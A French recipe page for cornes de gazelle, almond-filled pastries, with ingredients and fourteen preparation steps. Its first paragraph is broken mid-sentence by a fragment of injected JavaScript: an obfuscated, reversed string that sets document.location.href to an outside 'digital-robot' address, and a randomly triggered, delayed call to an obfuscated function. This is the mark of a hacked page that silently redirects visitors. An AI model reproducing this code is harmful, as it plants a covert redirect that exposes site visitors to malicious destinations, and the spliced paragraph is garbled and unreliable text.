Cornes de gazelle au lait de coco

2021-05-07

Dans un saladier mélangez la farine, le sucre, la pincée de sel fin, incorporez peu à peu le lait gloria tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant énergiquement ajoutez le beurre ramolli et obtenir une boule de pâte compacte.

Ingrédients

  • Pour 6 personnes
  • 1 petite boite de 80g environ de lait gloria non sucré
  • 1 cuillère à soupe de sucre en poudre
  • 250 g de farine
  • 1 pincée de sel fin
  • 50 g de beurre ramolli
  • La pâte :
  • 200 g d'amande en poudre
  • 150 g de sucre en poudre
  • 1 cuillère à café de fleur d'oranger
  • 2 blancs d'œufs
  • 1 jaune d'œuf
  • 1 cuillère à café de cannelle
  • La garniture
  • Sucre glace Amandes effilées

Préparation de la recette

Etape 1

Dans un saladier mélangez la farine, le sucre, la pincée de sel fin, incorporez peu à peu le lait gloria tout en mélangeant énergiquement ajoutez le beurre ramolli et obtenir une boule de pâte compacte.

Etape 2

Étalez avec un rouleau à pâtisserie la pâte, découpez des ronds de pâtes de 7 cm de diamètre et réservez.

Etape 3

Préparez la farce en battant les blancs d'œufs sans les amener à la neige, incorporez le sucre, les amandes effilées et la cannelle.

Etape 4

Étirez les ronds de pâte pour leurs donner une forme ovale.

Etape 5

Déposez au centre 1 cuillère à soupe de farce.

Etape 6

Soudez avec le jaune d'œuf, et refermez en pressant les bords tout en leur donnant une forme de corne.

Etape 7

Préchauffez le four à 150° C thermostat 5.

Etape 8

Déposez les cornes de gazelle sur la plaque du four légèrement beurrée.

Etape 9

Enfournez et faites cuire pendant 10 à 15 minutes.

Etape 10

Vérifiez la cuisson.

Etape 11

Sortez-les du four.

Etape 12

Les badigeonner avec l'eau de fleur d'oranger.

Etape 13

Les rouler dans le sucre glace.

Etape 14

Il est possible de les rouler dans des amandes effilées légèrement mouillées avant la cuisson pour les rendre plus festives.

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